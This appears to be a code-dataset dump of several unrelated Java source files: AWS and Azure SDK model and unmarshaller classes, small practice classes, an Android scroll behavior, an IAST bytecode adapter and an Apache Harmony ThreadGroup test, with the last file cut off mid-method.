text
stringlengths
7
1.01M
/* * Copyright 2017-2022 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with * the License. A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions * and limitations under the License. */ package com.amazonaws.services.ec2.model.transform; import java.util.ArrayList; import javax.xml.stream.events.XMLEvent; import javax.annotation.Generated; import com.amazonaws.services.ec2.model.*; import com.amazonaws.transform.Unmarshaller; import com.amazonaws.transform.StaxUnmarshallerContext; import com.amazonaws.transform.SimpleTypeStaxUnmarshallers.*; /** * DescribeLocalGatewayVirtualInterfaceGroupsResult StAX Unmarshaller */ @Generated("com.amazonaws:aws-java-sdk-code-generator") public class DescribeLocalGatewayVirtualInterfaceGroupsResultStaxUnmarshaller implements Unmarshaller<DescribeLocalGatewayVirtualInterfaceGroupsResult, StaxUnmarshallerContext> { public DescribeLocalGatewayVirtualInterfaceGroupsResult unmarshall(StaxUnmarshallerContext context) throws Exception { DescribeLocalGatewayVirtualInterfaceGroupsResult describeLocalGatewayVirtualInterfaceGroupsResult = new DescribeLocalGatewayVirtualInterfaceGroupsResult(); int originalDepth = context.getCurrentDepth(); int targetDepth = originalDepth + 1; if (context.isStartOfDocument()) targetDepth += 1; while (true) { XMLEvent xmlEvent = context.nextEvent(); if (xmlEvent.isEndDocument()) return describeLocalGatewayVirtualInterfaceGroupsResult; if (xmlEvent.isAttribute() || xmlEvent.isStartElement()) { if (context.testExpression("localGatewayVirtualInterfaceGroupSet", targetDepth)) { describeLocalGatewayVirtualInterfaceGroupsResult.withLocalGatewayVirtualInterfaceGroups(new ArrayList<LocalGatewayVirtualInterfaceGroup>()); continue; } if (context.testExpression("localGatewayVirtualInterfaceGroupSet/item", targetDepth)) { describeLocalGatewayVirtualInterfaceGroupsResult.withLocalGatewayVirtualInterfaceGroups(LocalGatewayVirtualInterfaceGroupStaxUnmarshaller .getInstance().unmarshall(context)); continue; } if (context.testExpression("nextToken", targetDepth)) { describeLocalGatewayVirtualInterfaceGroupsResult.setNextToken(StringStaxUnmarshaller.getInstance().unmarshall(context)); continue; } } else if (xmlEvent.isEndElement()) { if (context.getCurrentDepth() < originalDepth) { return describeLocalGatewayVirtualInterfaceGroupsResult; } } } } private static DescribeLocalGatewayVirtualInterfaceGroupsResultStaxUnmarshaller instance; public static DescribeLocalGatewayVirtualInterfaceGroupsResultStaxUnmarshaller getInstance() { if (instance == null) instance = new DescribeLocalGatewayVirtualInterfaceGroupsResultStaxUnmarshaller(); return instance; } }
package ru.stqa.pft.sandbox; public class Rectangle { public double a; public double b; public Rectangle(double a, double b) { this.a = a; this.b = b; } public double area() { return this.a * this.b; } }
package com.wingsofts.byeburgernavigationview; /** * Created by wing on 11/5/16. */ import android.content.Context; import android.support.design.widget.CoordinatorLayout; import android.support.v4.view.ViewCompat; import android.util.AttributeSet; import android.view.View; import android.view.ViewConfiguration; /** * Bye Bye Burger Android Title Bar Behavior * * Created by wing on 11/4/16. */ public class ByeBurgerTitleBehavior extends ByeBurgerBehavior { public ByeBurgerTitleBehavior(Context context, AttributeSet attrs) { super(context, attrs); } @Override public boolean layoutDependsOn(CoordinatorLayout parent, View child, View dependency) { if (canInit) { mAnimateHelper = TranslateAnimateHelper.get(child); canInit = false; } return super.layoutDependsOn(parent, child, dependency); } @Override protected void onNestPreScrollInit(View child) { if (isFirstMove) { isFirstMove = false; mAnimateHelper.setStartY(child.getY()); mAnimateHelper.setMode(TranslateAnimateHelper.MODE_TITLE); } } }
/* * Copyright 2014 DataGenerator Contributors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.finra.datagenerator.engine.scxml.tags.boundary.action; /** * Action for Decimal types */ public class BoundaryActionDecimal extends BoundaryActionNumeric { private String maxLen; private String minLen; private String length; public String getLength() { return length; } public String getMaxLen() { return maxLen; } public String getMinLen() { return minLen; } public void setLength(String length) { this.length = length; } public void setMaxLen(String maxLen) { this.maxLen = maxLen; } public void setMinLen(String minLen) { this.minLen = minLen; } }
package de.sstoehr.harreader.model; import com.fasterxml.jackson.annotation.JsonAnyGetter; import com.fasterxml.jackson.annotation.JsonAnySetter; import com.fasterxml.jackson.annotation.JsonIgnoreProperties; import com.fasterxml.jackson.annotation.JsonInclude; import java.util.HashMap; import java.util.Map; import java.util.Objects; /** * Information about a header used in request and/or response. * @see <a href="http://www.softwareishard.com/blog/har-12-spec/#headers">specification</a> */ @JsonInclude(JsonInclude.Include.NON_NULL) @JsonIgnoreProperties(ignoreUnknown = true) public class HarHeader { private String name; private String value; private String comment; private final Map<String, Object> additional = new HashMap<>(); /** * @return Header name, null if not present. */ public String getName() { return name; } public void setName(String name) { this.name = name; } /** * @return Header value, null if not present. */ public String getValue() { return value; } public void setValue(String value) { this.value = value; } /** * @return Comment provided by the user or application, null if not present. */ public String getComment() { return comment; } public void setComment(String comment) { this.comment = comment; } /** * @return Map with additional keys, which are not officially supported by the HAR specification */ @JsonAnyGetter public Map<String, Object> getAdditional() { return additional; } @JsonAnySetter public void setAdditionalField(String key, Object value) { this.additional.put(key, value); } @Override public boolean equals(Object o) { if (this == o) return true; if (!(o instanceof HarHeader)) return false; HarHeader harHeader = (HarHeader) o; return Objects.equals(name, harHeader.name) && Objects.equals(value, harHeader.value) && Objects.equals(comment, harHeader.comment) && Objects.equals(additional, harHeader.additional); } @Override public int hashCode() { return Objects.hash(name, value, comment, additional); } }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. // Code generated by Microsoft (R) AutoRest Code Generator. package com.azure.resourcemanager.apimanagement.models; import com.azure.core.annotation.Fluent; import com.fasterxml.jackson.annotation.JsonProperty; /** The ApiDiagnosticsGetHeaders model. */ @Fluent public final class ApiDiagnosticsGetHeaders { /* * The Etag property. */ @JsonProperty(value = "Etag") private String etag; /** * Get the etag property: The Etag property. * * @return the etag value. */ public String etag() { return this.etag; } /** * Set the etag property: The Etag property. * * @param etag the etag value to set. * @return the ApiDiagnosticsGetHeaders object itself. */ public ApiDiagnosticsGetHeaders withEtag(String etag) { this.etag = etag; return this; } /** * Validates the instance. * * @throws IllegalArgumentException thrown if the instance is not valid. */ public void validate() { } }
package ru.job4j.oop; public class Hunter { public void kill(Wolf wolf) { } }
package com.secnium.iast.core.enhance.plugins.framework.tomcat; import com.secnium.iast.core.enhance.IastContext; import com.secnium.iast.core.util.AsmUtils; import org.objectweb.asm.MethodVisitor; import org.objectweb.asm.commons.AdviceAdapter; /** * @author dongzhiyong@huoxian.cn */ public class ByteChunkAdapter extends AdviceAdapter { private final IastContext IastContext; ByteChunkAdapter(MethodVisitor mv, int access, String name, String desc, IastContext IastContext) { super(AsmUtils.api, mv, access, name, desc); this.IastContext = IastContext; } @Override protected void onMethodExit(int opCode) { if (opCode != ATHROW) { // 通过动态代理实现封装 loadThis(); } } }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** */ /* */ package org.apache.harmony.test.func.api.java.lang.ThreadGroup.toString.toString10.toString1010; import org.apache.harmony.share.Test; import org.apache.harmony.test.func.share.MyLog; public class toString1010 extends Test { boolean results[] = new boolean[100]; String logArray[] = new String[100]; int logIndex = 0; void addLog(String s) { if ( logIndex < logArray.length ) logArray[logIndex] = s; logIndex++; } void toString1010() { ThreadGroup tgObjects[] = { null, new ThreadGroup("tg1"), new ThreadGroup("tg1"), new ThreadGroup("tg2"), null, null, null }; tgObjects[4] = new ThreadGroup(tgObjects[2], "tg1"); tgObjects[5] = new ThreadGroup(tgObjects[3], "tg1"); tgObjects[6] = new ThreadGroup(tgObjects[3], "tg2"); for ( int i = 1; i < tgObjects.length; i++) { String s = tgObjects[i].toString(); results[i] = s != null; } return ; } public int test() { logIndex = 0; String texts[] = { "Testcase FAILURE, results[#] = " , "Test P A S S E D" , "Test F A I L E D" , "#### U N E X P E C T E D : " }; int failed = 105; int passed = 104; int unexpected = 106; int toReturn = 0; String toPrint = null; for ( int i = 0; i < results.length; i++ ) results[i] = true; try { addLog("********* Test toString1010 begins "); toString1010(); addLog("********* Test toString1010 results: "); boolean result = true; for ( int i = 1 ; i < results.length ; i++ ) { result &= results[i]; if ( ! results[i] ) addLog(texts[0] + i); } if ( ! result ) { toPrint = texts[2]; toReturn = failed; } if ( result ) { toPrint = texts[1]; toReturn = passed; } } catch (Exception e) { toPrint = texts[3] + e; toReturn = unexpected; } if ( toReturn != passed ) for ( int i = 0; i < logIndex; i++ ) MyLog.toMyLog(logArray[i]); MyLog.toMyLog(toPrint); return toReturn; } public static void main(String args[]) { System.exit(new toString1010().test()); } }
/* * Copyright 2015-2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with * the License. A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions * and limitations under the License. */ package com.amazonaws.services.apigatewayv2.model; import java.io.Serializable; import javax.annotation.Generated; import com.amazonaws.protocol.StructuredPojo; import com.amazonaws.protocol.ProtocolMarshaller; /** * <p> * Represents a route. * </p> */ @Generated("com.amazonaws:aws-java-sdk-code-generator") public class Route implements Serializable, Cloneable, StructuredPojo { /** * <p> * Specifies whether a route is managed by API Gateway. If you created an API using quick create, the $default route * is managed by API Gateway. You can't modify the $default route key. * </p> */ private Boolean apiGatewayManaged; /** * <p> * Specifies whether an API key is required for this route. Supported only for WebSocket APIs. * </p> */ private Boolean apiKeyRequired; /** * <p> * A list of authorization scopes configured on a route. The scopes are used with a JWT authorizer to authorize the * method invocation. The authorization works by matching the route scopes against the scopes parsed from the access * token in the incoming request. The method invocation is authorized if any route scope matches a claimed scope in * the access token. Otherwise, the invocation is not authorized. When the route scope is configured, the client * must provide an access token instead of an identity token for authorization purposes. * </p> */ private java.util.List<String> authorizationScopes; /** * <p> * The authorization type for the route. For WebSocket APIs, valid values are NONE for open access, AWS_IAM for * using AWS IAM permissions, and CUSTOM for using a Lambda authorizer For HTTP APIs, valid values are NONE for open * access, JWT for using JSON Web Tokens, AWS_IAM for using AWS IAM permissions, and CUSTOM for using a Lambda * authorizer. * </p> */ private String authorizationType; /** * <p> * The identifier of the Authorizer resource to be associated with this route. The authorizer identifier is * generated by API Gateway when you created the authorizer. * </p> */ private String authorizerId; /** * <p> * The model selection expression for the route. Supported only for WebSocket APIs. * </p> */ private String modelSelectionExpression; /** * <p> * The operation name for the route. * </p> */ private String operationName; /** * <p> * The request models for the route. Supported only for WebSocket APIs. * </p> */ private java.util.Map<String, String> requestModels; /** * <p> * The request parameters for the route. Supported only for WebSocket APIs. * </p> */ private java.util.Map<String, ParameterConstraints> requestParameters; /** * <p> * The route ID. * </p> */ private String routeId; /** * <p> * The route key for the route. * </p> */ private String routeKey; /** * <p> * The route response selection expression for the route. Supported only for WebSocket APIs. * </p> */ private String routeResponseSelectionExpression; /** * <p> * The target for the route. * </p> */ private String target; /** * <p> * Specifies whether a route is managed by API Gateway. If you created an API using quick create, the $default route * is managed by API Gateway. You can't modify the $default route key. * </p> * * @param apiGatewayManaged * Specifies whether a route is managed by API Gateway. If you created an API using quick create, the * $default route is managed by API Gateway. You can't modify the $default route key. */ public void setApiGatewayManaged(Boolean apiGatewayManaged) { this.apiGatewayManaged = apiGatewayManaged; } /** * <p> * Specifies whether a route is managed by API Gateway. If you created an API using quick create, the $default route * is managed by API Gateway. You can't modify the $default route key. * </p> * * @return Specifies whether a route is managed by API Gateway. If you created an API using quick create, the * $default route is managed by API Gateway. You can't modify the $default route key. */ public Boolean getApiGatewayManaged() { return this.apiGatewayManaged; } /** * <p> * Specifies whether a route is managed by API Gateway. If you created an API using quick create, the $default route * is managed by API Gateway. You can't modify the $default route key. * </p> * * @param apiGatewayManaged * Specifies whether a route is managed by API Gateway. If you created an API using quick create, the * $default route is managed by API Gateway. You can't modify the $default route key. * @return Returns a reference to this object so that method calls can be chained together. */ public Route withApiGatewayManaged(Boolean apiGatewayManaged) { setApiGatewayManaged(apiGatewayManaged); return this; } /** * <p> * Specifies whether a route is managed by API Gateway. If you created an API using quick create, the $default route * is managed by API Gateway. You can't modify the $default route key. * </p> * * @return Specifies whether a route is managed by API Gateway. If you created an API using quick create, the * $default route is managed by API Gateway. You can't modify the $default route key. */ public Boolean isApiGatewayManaged() { return this.apiGatewayManaged; } /** * <p> * Specifies whether an API key is required for this route. Supported only for WebSocket APIs. * </p> * * @param apiKeyRequired * Specifies whether an API key is required for this route. Supported only for WebSocket APIs. */ public void setApiKeyRequired(Boolean apiKeyRequired) { this.apiKeyRequired = apiKeyRequired; } /** * <p> * Specifies whether an API key is required for this route. Supported only for WebSocket APIs. * </p> * * @return Specifies whether an API key is required for this route. Supported only for WebSocket APIs. */ public Boolean getApiKeyRequired() { return this.apiKeyRequired; } /** * <p> * Specifies whether an API key is required for this route. Supported only for WebSocket APIs. * </p> * * @param apiKeyRequired * Specifies whether an API key is required for this route. Supported only for WebSocket APIs. * @return Returns a reference to this object so that method calls can be chained together. */ public Route withApiKeyRequired(Boolean apiKeyRequired) { setApiKeyRequired(apiKeyRequired); return this; } /** * <p> * Specifies whether an API key is required for this route. Supported only for WebSocket APIs. * </p> * * @return Specifies whether an API key is required for this route. Supported only for WebSocket APIs. */ public Boolean isApiKeyRequired() { return this.apiKeyRequired; } /** * <p> * A list of authorization scopes configured on a route. The scopes are used with a JWT authorizer to authorize the * method invocation. The authorization works by matching the route scopes against the scopes parsed from the access * token in the incoming request. The method invocation is authorized if any route scope matches a claimed scope in * the access token. Otherwise, the invocation is not authorized. When the route scope is configured, the client * must provide an access token instead of an identity token for authorization purposes. * </p> * * @return A list of authorization scopes configured on a route. The scopes are used with a JWT authorizer to * authorize the method invocation. The authorization works by matching the route scopes against the scopes * parsed from the access token in the incoming request. The method invocation is authorized if any route * scope matches a claimed scope in the access token. Otherwise, the invocation is not authorized. When the * route scope is configured, the client must provide an access token instead of an identity token for * authorization purposes. */ public java.util.List<String> getAuthorizationScopes() { return authorizationScopes; } /** * <p> * A list of authorization scopes configured on a route. The scopes are used with a JWT authorizer to authorize the * method invocation. The authorization works by matching the route scopes against the scopes parsed from the access * token in the incoming request. The method invocation is authorized if any route scope matches a claimed scope in * the access token. Otherwise, the invocation is not authorized. When the route scope is configured, the client * must provide an access token instead of an identity token for authorization purposes. * </p> * * @param authorizationScopes * A list of authorization scopes configured on a route. The scopes are used with a JWT authorizer to * authorize the method invocation. The authorization works by matching the route scopes against the scopes * parsed from the access token in the incoming request. The method invocation is authorized if any route * scope matches a claimed scope in the access token. Otherwise, the invocation is not authorized. When the * route scope is configured, the client must provide an access token instead of an identity token for * authorization purposes. */ public void setAuthorizationScopes(java.util.Collection<String> authorizationScopes) { if (authorizationScopes == null) { this.authorizationScopes = null; return; } this.authorizationScopes = new java.util.ArrayList<String>(authorizationScopes); } /** * <p> * A list of authorization scopes configured on a route. The scopes are used with a JWT authorizer to authorize the * method invocation. The authorization works by matching the route scopes against the scopes parsed from the access * token in the incoming request. The method invocation is authorized if any route scope matches a claimed scope in * the access token. Otherwise, the invocation is not authorized. When the route scope is configured, the client * must provide an access token instead of an identity token for authorization purposes. * </p> * <p> * <b>NOTE:</b> This method appends the values to the existing list (if any). Use * {@link #setAuthorizationScopes(java.util.Collection)} or {@link #withAuthorizationScopes(java.util.Collection)} * if you want to override the existing values. * </p> * * @param authorizationScopes * A list of authorization scopes configured on a route. The scopes are used with a JWT authorizer to * authorize the method invocation. The authorization works by matching the route scopes against the scopes * parsed from the access token in the incoming request. The method invocation is authorized if any route * scope matches a claimed scope in the access token. Otherwise, the invocation is not authorized. When the * route scope is configured, the client must provide an access token instead of an identity token for * authorization purposes. * @return Returns a reference to this object so that method calls can be chained together. */ public Route withAuthorizationScopes(String... authorizationScopes) { if (this.authorizationScopes == null) { setAuthorizationScopes(new java.util.ArrayList<String>(authorizationScopes.length)); } for (String ele : authorizationScopes) { this.authorizationScopes.add(ele); } return this; } /** * <p> * A list of authorization scopes configured on a route. The scopes are used with a JWT authorizer to authorize the * method invocation. The authorization works by matching the route scopes against the scopes parsed from the access * token in the incoming request. The method invocation is authorized if any route scope matches a claimed scope in * the access token. Otherwise, the invocation is not authorized. When the route scope is configured, the client * must provide an access token instead of an identity token for authorization purposes. * </p> * * @param authorizationScopes * A list of authorization scopes configured on a route. The scopes are used with a JWT authorizer to * authorize the method invocation. The authorization works by matching the route scopes against the scopes * parsed from the access token in the incoming request. The method invocation is authorized if any route * scope matches a claimed scope in the access token. Otherwise, the invocation is not authorized. When the * route scope is configured, the client must provide an access token instead of an identity token for * authorization purposes. * @return Returns a reference to this object so that method calls can be chained together. */ public Route withAuthorizationScopes(java.util.Collection<String> authorizationScopes) { setAuthorizationScopes(authorizationScopes); return this; } /** * <p> * The authorization type for the route. For WebSocket APIs, valid values are NONE for open access, AWS_IAM for * using AWS IAM permissions, and CUSTOM for using a Lambda authorizer For HTTP APIs, valid values are NONE for open * access, JWT for using JSON Web Tokens, AWS_IAM for using AWS IAM permissions, and CUSTOM for using a Lambda * authorizer. * </p> * * @param authorizationType * The authorization type for the route. For WebSocket APIs, valid values are NONE for open access, AWS_IAM * for using AWS IAM permissions, and CUSTOM for using a Lambda authorizer For HTTP APIs, valid values are * NONE for open access, JWT for using JSON Web Tokens, AWS_IAM for using AWS IAM permissions, and CUSTOM for * using a Lambda authorizer. * @see AuthorizationType */ public void setAuthorizationType(String authorizationType) { this.authorizationType = authorizationType; } /** * <p> * The authorization type for the route. For WebSocket APIs, valid values are NONE for open access, AWS_IAM for * using AWS IAM permissions, and CUSTOM for using a Lambda authorizer For HTTP APIs, valid values are NONE for open * access, JWT for using JSON Web Tokens, AWS_IAM for using AWS IAM permissions, and CUSTOM for using a Lambda * authorizer. * </p> * * @return The authorization type for the route. For WebSocket APIs, valid values are NONE for open access, AWS_IAM * for using AWS IAM permissions, and CUSTOM for using a Lambda authorizer For HTTP APIs, valid values are * NONE for open access, JWT for using JSON Web Tokens, AWS_IAM for using AWS IAM permissions, and CUSTOM * for using a Lambda authorizer. * @see AuthorizationType */ public String getAuthorizationType() { return this.authorizationType; } /** * <p> * The authorization type for the route. For WebSocket APIs, valid values are NONE for open access, AWS_IAM for * using AWS IAM permissions, and CUSTOM for using a Lambda authorizer For HTTP APIs, valid values are NONE for open * access, JWT for using JSON Web Tokens, AWS_IAM for using AWS IAM permissions, and CUSTOM for using a Lambda * authorizer. * </p> * * @param authorizationType * The authorization type for the route. For WebSocket APIs, valid values are NONE for open access, AWS_IAM * for using AWS IAM permissions, and CUSTOM for using a Lambda authorizer For HTTP APIs, valid values are * NONE for open access, JWT for using JSON Web Tokens, AWS_IAM for using AWS IAM permissions, and CUSTOM for * using a Lambda authorizer. * @return Returns a reference to this object so that method calls can be chained together. * @see AuthorizationType */ public Route withAuthorizationType(String authorizationType) { setAuthorizationType(authorizationType); return this; } /** * <p> * The authorization type for the route. For WebSocket APIs, valid values are NONE for open access, AWS_IAM for * using AWS IAM permissions, and CUSTOM for using a Lambda authorizer For HTTP APIs, valid values are NONE for open * access, JWT for using JSON Web Tokens, AWS_IAM for using AWS IAM permissions, and CUSTOM for using a Lambda * authorizer. * </p> * * @param authorizationType * The authorization type for the route. For WebSocket APIs, valid values are NONE for open access, AWS_IAM * for using AWS IAM permissions, and CUSTOM for using a Lambda authorizer For HTTP APIs, valid values are * NONE for open access, JWT for using JSON Web Tokens, AWS_IAM for using AWS IAM permissions, and CUSTOM for * using a Lambda authorizer. * @return Returns a reference to this object so that method calls can be chained together. * @see AuthorizationType */ public Route withAuthorizationType(AuthorizationType authorizationType) { this.authorizationType = authorizationType.toString(); return this; } /** * <p> * The identifier of the Authorizer resource to be associated with this route. The authorizer identifier is * generated by API Gateway when you created the authorizer. * </p> * * @param authorizerId * The identifier of the Authorizer resource to be associated with this route. The authorizer identifier is * generated by API Gateway when you created the authorizer. */ public void setAuthorizerId(String authorizerId) { this.authorizerId = authorizerId; } /** * <p> * The identifier of the Authorizer resource to be associated with this route. The authorizer identifier is * generated by API Gateway when you created the authorizer. * </p> * * @return The identifier of the Authorizer resource to be associated with this route. The authorizer identifier is * generated by API Gateway when you created the authorizer. */ public String getAuthorizerId() { return this.authorizerId; } /** * <p> * The identifier of the Authorizer resource to be associated with this route. The authorizer identifier is * generated by API Gateway when you created the authorizer. * </p> * * @param authorizerId * The identifier of the Authorizer resource to be associated with this route. The authorizer identifier is * generated by API Gateway when you created the authorizer. * @return Returns a reference to this object so that method calls can be chained together. */ public Route withAuthorizerId(String authorizerId) { setAuthorizerId(authorizerId); return this; } /** * <p> * The model selection expression for the route. Supported only for WebSocket APIs. * </p> * * @param modelSelectionExpression * The model selection expression for the route. Supported only for WebSocket APIs. */ public void setModelSelectionExpression(String modelSelectionExpression) { this.modelSelectionExpression = modelSelectionExpression; } /** * <p> * The model selection expression for the route. Supported only for WebSocket APIs. * </p> * * @return The model selection expression for the route. Supported only for WebSocket APIs. */ public String getModelSelectionExpression() { return this.modelSelectionExpression; } /** * <p> * The model selection expression for the route. Supported only for WebSocket APIs. * </p> * * @param modelSelectionExpression * The model selection expression for the route. Supported only for WebSocket APIs. * @return Returns a reference to this object so that method calls can be chained together. */ public Route withModelSelectionExpression(String modelSelectionExpression) { setModelSelectionExpression(modelSelectionExpression); return this; } /** * <p> * The operation name for the route. * </p> * * @param operationName * The operation name for the route. */ public void setOperationName(String operationName) { this.operationName = operationName; } /** * <p> * The operation name for the route. * </p> * * @return The operation name for the route. */ public String getOperationName() { return this.operationName; } /** * <p> * The operation name for the route. * </p> * * @param operationName * The operation name for the route. * @return Returns a reference to this object so that method calls can be chained together. */ public Route withOperationName(String operationName) { setOperationName(operationName); return this; } /** * <p> * The request models for the route. Supported only for WebSocket APIs. * </p> * * @return The request models for the route. Supported only for WebSocket APIs. */ public java.util.Map<String, String> getRequestModels() { return requestModels; } /** * <p> * The request models for the route. Supported only for WebSocket APIs. * </p> * * @param requestModels * The request models for the route. Supported only for WebSocket APIs. */ public void setRequestModels(java.util.Map<String, String> requestModels) { this.requestModels = requestModels; } /** * <p> * The request models for the route. Supported only for WebSocket APIs. * </p> * * @param requestModels * The request models for the route. Supported only for WebSocket APIs. * @return Returns a reference to this object so that method calls can be chained together. */ public Route withRequestModels(java.util.Map<String, String> requestModels) { setRequestModels(requestModels); return this; } /** * Add a single RequestModels entry * * @see Route#withRequestModels * @returns a reference to this object so that method calls can be chained together. */ public Route addRequestModelsEntry(String key, String value) { if (null == this.requestModels) { this.requestModels = new java.util.HashMap<String, String>(); } if (this.requestModels.containsKey(key)) throw new IllegalArgumentException("Duplicated keys (" + key.toString() + ") are provided."); this.requestModels.put(key, value); return this; } /** * Removes all the entries added into RequestModels. * * @return Returns a reference to this object so that method calls can be chained together. */ public Route clearRequestModelsEntries() { this.requestModels = null; return this; } /** * <p> * The request parameters for the route. Supported only for WebSocket APIs. * </p> * * @return The request parameters for the route. Supported only for WebSocket APIs. */ public java.util.Map<String, ParameterConstraints> getRequestParameters() { return requestParameters; } /** * <p> * The request parameters for the route. Supported only for WebSocket APIs. * </p> * * @param requestParameters * The request parameters for the route. Supported only for WebSocket APIs. */ public void setRequestParameters(java.util.Map<String, ParameterConstraints> requestParameters) { this.requestParameters = requestParameters; } /** * <p> * The request parameters for the route. Supported only for WebSocket APIs. * </p> * * @param requestParameters * The request parameters for the route. Supported only for WebSocket APIs. * @return Returns a reference to this object so that method calls can be chained together. */ public Route withRequestParameters(java.util.Map<String, ParameterConstraints> requestParameters) { setRequestParameters(requestParameters); return this; } /** * Add a single RequestParameters entry * * @see Route#withRequestParameters * @returns a reference to this object so that method calls can be chained together. */ public Route addRequestParametersEntry(String key, ParameterConstraints value) { if (null == this.requestParameters) { this.requestParameters = new java.util.HashMap<String, ParameterConstraints>(); } if (this.requestParameters.containsKey(key)) throw new IllegalArgumentException("Duplicated keys (" + key.toString() + ") are provided."); this.requestParameters.put(key, value); return this; } /** * Removes all the entries added into RequestParameters. * * @return Returns a reference to this object so that method calls can be chained together. */ public Route clearRequestParametersEntries() { this.requestParameters = null; return this; } /** * <p> * The route ID. * </p> * * @param routeId * The route ID. */ public void setRouteId(String routeId) { this.routeId = routeId; } /** * <p> * The route ID. * </p> * * @return The route ID. */ public String getRouteId() { return this.routeId; } /** * <p> * The route ID. * </p> * * @param routeId * The route ID. * @return Returns a reference to this object so that method calls can be chained together. */ public Route withRouteId(String routeId) { setRouteId(routeId); return this; } /** * <p> * The route key for the route. * </p> * * @param routeKey * The route key for the route. */ public void setRouteKey(String routeKey) { this.routeKey = routeKey; } /** * <p> * The route key for the route. * </p> * * @return The route key for the route. */ public String getRouteKey() { return this.routeKey; } /** * <p> * The route key for the route. * </p> * * @param routeKey * The route key for the route. * @return Returns a reference to this object so that method calls can be chained together. */ public Route withRouteKey(String routeKey) { setRouteKey(routeKey); return this; } /** * <p> * The route response selection expression for the route. Supported only for WebSocket APIs. * </p> * * @param routeResponseSelectionExpression * The route response selection expression for the route. Supported only for WebSocket APIs. */ public void setRouteResponseSelectionExpression(String routeResponseSelectionExpression) { this.routeResponseSelectionExpression = routeResponseSelectionExpression; } /** * <p> * The route response selection expression for the route. Supported only for WebSocket APIs. * </p> * * @return The route response selection expression for the route. Supported only for WebSocket APIs. */ public String getRouteResponseSelectionExpression() { return this.routeResponseSelectionExpression; } /** * <p> * The route response selection expression for the route. Supported only for WebSocket APIs. * </p> * * @param routeResponseSelectionExpression * The route response selection expression for the route. Supported only for WebSocket APIs. * @return Returns a reference to this object so that method calls can be chained together. */ public Route withRouteResponseSelectionExpression(String routeResponseSelectionExpression) { setRouteResponseSelectionExpression(routeResponseSelectionExpression); return this; } /** * <p> * The target for the route. * </p> * * @param target * The target for the route. */ public void setTarget(String target) { this.target = target; } /** * <p> * The target for the route. * </p> * * @return The target for the route. */ public String getTarget() { return this.target; } /** * <p> * The target for the route. * </p> * * @param target * The target for the route. * @return Returns a reference to this object so that method calls can be chained together. */ public Route withTarget(String target) { setTarget(target); return this; } /** * Returns a string representation of this object. This is useful for testing and debugging. Sensitive data will be * redacted from this string using a placeholder value. * * @return A string representation of this object. * * @see java.lang.Object#toString() */ @Override public String toString() { StringBuilder sb = new StringBuilder(); sb.append("{"); if (getApiGatewayManaged() != null) sb.append("ApiGatewayManaged: ").append(getApiGatewayManaged()).append(","); if (getApiKeyRequired() != null) sb.append("ApiKeyRequired: ").append(getApiKeyRequired()).append(","); if (getAuthorizationScopes() != null) sb.append("AuthorizationScopes: ").append(getAuthorizationScopes()).append(","); if (getAuthorizationType() != null) sb.append("AuthorizationType: ").append(getAuthorizationType()).append(","); if (getAuthorizerId() != null) sb.append("AuthorizerId: ").append(getAuthorizerId()).append(","); if (getModelSelectionExpression() != null) sb.append("ModelSelectionExpression: ").append(getModelSelectionExpression()).append(","); if (getOperationName() != null) sb.append("OperationName: ").append(getOperationName()).append(","); if (getRequestModels() != null) sb.append("RequestModels: ").append(getRequestModels()).append(","); if (getRequestParameters() != null) sb.append("RequestParameters: ").append(getRequestParameters()).append(","); if (getRouteId() != null) sb.append("RouteId: ").append(getRouteId()).append(","); if (getRouteKey() != null) sb.append("RouteKey: ").append(getRouteKey()).append(","); if (getRouteResponseSelectionExpression() != null) sb.append("RouteResponseSelectionExpression: ").append(getRouteResponseSelectionExpression()).append(","); if (getTarget() != null) sb.append("Target: ").append(getTarget()); sb.append("}"); return sb.toString(); } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null) return false; if (obj instanceof Route == false) return false; Route other = (Route) obj; if (other.getApiGatewayManaged() == null ^ this.getApiGatewayManaged() == null) return false; if (other.getApiGatewayManaged() != null && other.getApiGatewayManaged().equals(this.getApiGatewayManaged()) == false) return false; if (other.getApiKeyRequired() == null ^ this.getApiKeyRequired() == null) return false; if (other.getApiKeyRequired() != null && other.getApiKeyRequired().equals(this.getApiKeyRequired()) == false) return false; if (other.getAuthorizationScopes() == null ^ this.getAuthorizationScopes() == null) return false; if (other.getAuthorizationScopes() != null && other.getAuthorizationScopes().equals(this.getAuthorizationScopes()) == false) return false; if (other.getAuthorizationType() == null ^ this.getAuthorizationType() == null) return false; if (other.getAuthorizationType() != null && other.getAuthorizationType().equals(this.getAuthorizationType()) == false) return false; if (other.getAuthorizerId() == null ^ this.getAuthorizerId() == null) return false; if (other.getAuthorizerId() != null && other.getAuthorizerId().equals(this.getAuthorizerId()) == false) return false; if (other.getModelSelectionExpression() == null ^ this.getModelSelectionExpression() == null) return false; if (other.getModelSelectionExpression() != null && other.getModelSelectionExpression().equals(this.getModelSelectionExpression()) == false) return false; if (other.getOperationName() == null ^ this.getOperationName() == null) return false; if (other.getOperationName() != null && 